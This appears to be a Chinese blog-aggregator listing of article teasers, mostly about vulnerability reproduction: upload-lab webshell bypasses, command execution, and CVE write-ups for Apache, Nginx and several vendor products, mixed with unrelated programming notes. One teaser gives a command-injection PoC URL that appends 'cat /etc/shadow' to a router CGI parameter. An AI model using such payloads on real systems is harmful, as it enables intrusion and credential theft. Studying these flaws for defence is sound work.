沙箱amp cnvd漏洞
使用antsword上传文件漏洞到upload靶场之三
使用antsword上传文件漏洞到upload靶场之三 Pass-11 先观察一下代码，发现save_path是一个可控的变量，但是后面还拼接上一个后缀名，也需要绕过。这个时候可以使用%00截断 00截断原理 0x00是十六进制表示方法，是ascii码为0的字符，在有些函数处理时，会把这个字符当做结 ......
Code时如何检查&检查经验
$$\Huge\color{#F48DAE}\text{《你 永 远 不 知 道 你 的 锅 会 出 在 哪 里》}$$ - **想清楚，再下手写代码** - **用二分查找错误** - 要静态查找，如果有相似的地方可以对比着查 - 尽量不要用补全，自己手写 - 不要复制代码 - 当变量较多，且意义 ......
命令执行漏洞
## 命令执行漏洞 **RCE：**远程命令/代码执行漏洞 #### 一、命令执行漏洞描述 ###### 1.描述 系统命令执行是指应用程序对传入命令行的参数过滤不严格导致恶意用户能控制最终执行的命令。应用有时需要调用一些执行系统命令的函数，如PHP中的system、exec、shell_exe ......
zeebe流程引擎&支持的客户端
# zeebe工作流引擎 项目文档 [https://docs.camunda.io/docs/components/zeebe/zeebe-overview/](https://docs.camunda.io/docs/components/zeebe/zeebe-overview/) [http ......
谷歌云 | 最大限度地提高可靠性&降低成本：调整 Kubernetes 工作负载的大小
您知道通过调整工作负载请求以更好地代表其实际使用情况可以节省多少钱吗？如果您没有调整工作负载规模，则可能会为工作负载根本没有使用的资源支付过高的费用，甚至更糟，从而使工作负载面临因配置不足而导致可靠性问题的风险。 ......
8.18 模拟赛小记 & 学习
谔谔谔谔。菜翻天。 今天模拟赛[题目传送门。](https://www.luogu.com.cn/contest/126873#problems) A.跳蚤市场（mid） 话说我才看到这个英文名字叫 mid。然后就是手写 lower_bound 和 upper_bound 优化前缀和。 B.组合问题 ......
漏洞修复访问控制方法-目的是为了躲避上面检查
```c #!/bin/bash # 2022年9月19日14点58分 # 设置环境变量 . /etc/init.d/functions export PATH=$PATH:/bin:/sbin:/usr/sbin export LANG="en_US.UTF-8" source /etc/prof ......
带你读论文丨S&P21 Survivalism: Living-Off-The-Land 经典离地攻击
这篇文章属于系统分析类的文章，通过详细的实验分析了离地攻击（Living-Off-The-Land）的威胁性和流行度，包括APT攻击中的利用及示例代码论证。 ......
使用antsword上传文件漏洞到upload靶场之二
使用antsword上传文件漏洞到upload靶场之二 Pass-02 查看源码，我们可以发现此处没有对文件类型进行校验，我们可以直接在bp更改文件类型的方式进行绕过 Bp抓包 右键空白处，发送到repeater，更改图中灰色标记处的文件类型，点击发送，发现可以直接上传成功 找到上传文件的路径 使用 ......
文件上传漏洞的利用流程与防御
1、找到上传位置（寻找到源码可以通过upload等名字辨别） 如果没有上传位置 （1）、可以利用Redis持久化+未授权访问漏洞 （2）、使用mysql 读写 select into file（补充） 2、尝试绕过校验，上传文件 一些绕过方式：删除/禁用js、修改MIME、等价扩展名、大小写、hta ......
8.17 模拟赛 & 学习笔记
三天模拟赛 + 讲课，请的 wyz 大佬。主要是搞图论这一块。（大概能逃 3 天军训罢。） 评价今日模拟赛：据说对标 noip 难度但显然放了很大的水。可惜好像手感很不好，是 rank 12/20。再接再厉？大家都强强强！我弱弱弱！ [模拟赛题目传送门](https://www.luogu.com. ......
微服务最佳实践，零改造实现 Spring Cloud & Apache Dubbo 互通
本文以实际项目和代码为示例，一步一步演示如何以最低成本实现 Apache Dubbo 体系与 Spring Cloud 体系的互通，进而实现不同微服务体系的混合部署、迁移等，帮助您解决实际架构及业务问题。 ......
远程调试&线程检查&性能检查
vs2022的一些调试技巧——远程调试&线程检查&性能检查 visual studio一直都是.net/c#开发人员最受欢迎的编译器，除了强大的代码提示和项目模板，还拥有大量的调试工具，这一期我们介绍下code freeze阶段的一些调试技巧。包括测试环境/生产环境下的远程调试，线程调试，以及性能监 ......
Python 测试框架之 Unittest & Pytest在pycharm中绿色执行箭头消失
Python 测试框架之 Unittest & Pytest 第一步： 第二步： 第三步： 第四步：执行用例： ......
链表的创建&遍历打印
> 博客地址：https://www.cnblogs.com/zylyehuo/ ```python # -*- coding: utf-8 -*- class Node: def __init__(self, item): self.item = item self.next = None # 头 ......
Apache HTTPd RCE漏洞复现(cve-2021-41773)
0x01 漏洞简介： Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。在Apache HTTPd 2.4.49版本中，存在一个 路径穿越漏洞。在配置了 Require all granted后，攻击者可利用路径穿越漏洞读取到Web目录之外的其他文件，比 如/etc/pas ......
Hytec Inter HWL-2511-SS popen.cgi命令注入漏洞
页面是以下这个屌样 poc /cgi-bin/popen.cgi?command=ping%20-c%204%201.1.1.1;cat%20/etc/shadow&v=0.1303033443137921 ......
用友NC-Cloud漏洞Getshell
0x01前言 用友NC Cloud大型企业数字化平台，深度应用新一代数字智能技术，完全基于云原生架构，打造开放、互联、融合、智能的一体化云平台，聚焦数智化管理、数智化经营、数智化商业等三大企业数智化转型战略方向，提供涵盖数字营销、财务共享、全球司库、智能制造、敏捷供应链、人才管理、智慧协同等18大解 ......
Git&Github入门大全
Git定义：是一种分布式版本控制系统。git中的一些概念名词：Repository（仓库）: Git仓库是存储代码和版本历史的地方。它可以是本地仓库（位于本地计算机上）或远程仓库（位于网络上）。Commit（提交）: 提交是Git中的一个基本概念，表示对代码的一次更改。每个提交都有一个唯一的标识符（ ......
Apache HTTP Server mod_proxy SSRF漏洞复现CVE-2021-40438
# Apache HTTP Server mod_proxy SSRF漏洞复现CVE-2021-40438 ## 漏洞利用 `利用条件:`apache v2.4.48及以下版本 `paylaod:可改-SSRF` ``` GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAA ......
AutoCAD P&ID 工作平台的搭建
# AutoCAD P&ID 工作平台的搭建 AutoCAD P&ID用于绘制工艺流程图，管理员可以配置软件，量身打造自定义 P&ID 绘图环境。首先我们来了解一下AutoCAD P&ID的工作方式。 AutoCAD P&ID是一个以块和变量操作为基础 AutoCAD二次开发软件，集合了多种国际相关 ......
Nginx文件名逻辑漏洞复现CVE-2013-4547
# Nginx文件名逻辑漏洞复现CVE-2013-4547 ## 前置知识 本次针对的是中间件Nginx `Nginx是什么?` > Nginx（发音为“engine-x”）是一个高性能的开源Web服务器软件。它以异步事件驱动的方式处理客户端请求，具有占用资源 > 少、处理并发连接能力强和稳定性高等 ......
Apache HTTPd换行解析漏洞复现CVE-2017-15715
# Apache HTTPd换行解析漏洞复现CVE-2017-15715 ## 漏洞利用 `漏洞利用条件` > Apache: 2.4.0~2.4.29 > > 实际存到后端时的文件名可控 `漏洞利用方式` > bp中更改存放到后端的文件名 > > 假设 > > ``` > 原文件名为"evil.p ......
解密Prompt系列13. LLM Agent-指令微调方案: Toolformer & Gorilla
本章介绍基于模型微调，支持任意多工具组合调用，复杂工具调用的方案。工具调用的核心是3个问题：在哪个位置使用工具，使用什么工具，如何生成调用语句 - Gorilla & Toolformer ......
漏洞扫描是什么？怎么做？
漏洞扫描是指基于漏洞数据库，通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测，发现可利用漏洞的一种安全检测（渗透攻击）行为。漏洞扫描按扫描器所处位置，可分为内网扫描和外网扫描。而按照工作方式，又可以将漏洞扫描分为远程扫描和本地扫描。顾名思义，远程扫描和本地扫描的区别在于是否登陆目 ......
线段树&树状数组
P4246 首先注意到两个点应该怎么联通，有可能直接走进去对吧，也有可能是绕一圈走过去，我们考虑整个在求连通性的时候最重要的是哪些点，是左上角，左下角，右上角和右下角，所以我们考虑维护他们之间的连通性。 然后连通性很好合并，所以我我们可以把这个东西搬上线段树维护一大段区间的四个角互相是否可达。 然后 ......
漏洞复现-深信服DC数据中心管理系统 XXE漏洞
0x01产品简介 深信服是数据中心管理系统是DC为AC饿外置数据中心，主要用于海量日志数据的异地扩展备份管理，多条件的组合的高效查询，统计和趋势报表生成，设备运行状态监控等功能。 0x02漏洞概述 深信服是数据中心管理系统DC存在xml外部实体注入漏洞。由于后端对传入的xml对象进行了非预期内解析， ......
漏洞复现-绿盟 NF下一代防火墙 任意文件上传漏洞
漏洞描述： 绿盟 SSLVPN 存在任意文件上传漏洞，攻击者通过发送特殊的请求包可以获取服务器权限，进行远程命令执行 漏洞影响： 绿盟 SSLVPN 网络测绘： app="NSFOCUS-下一代防火墙" 出现漏洞的端口为 8081 1 2 3 4 5 6 7 8 9 10 POST /api/v1/ ......
漏洞复现-金蝶云星空任意文件读取
0x01 产品简介 金蝶云星空是一款云端企业资源管理（ERP）软件，为企业提供财务管理、供应链管理以及业务流程管理等一体化解决方案。金蝶云·星空聚焦多组织，多利润中心的大中型企业，以 “开放、标准、社交”三大特性为数字经济时代的企业提供开放的 ERP 云平台。服务涵盖：财务、供应链、智能制造、阿米巴 ......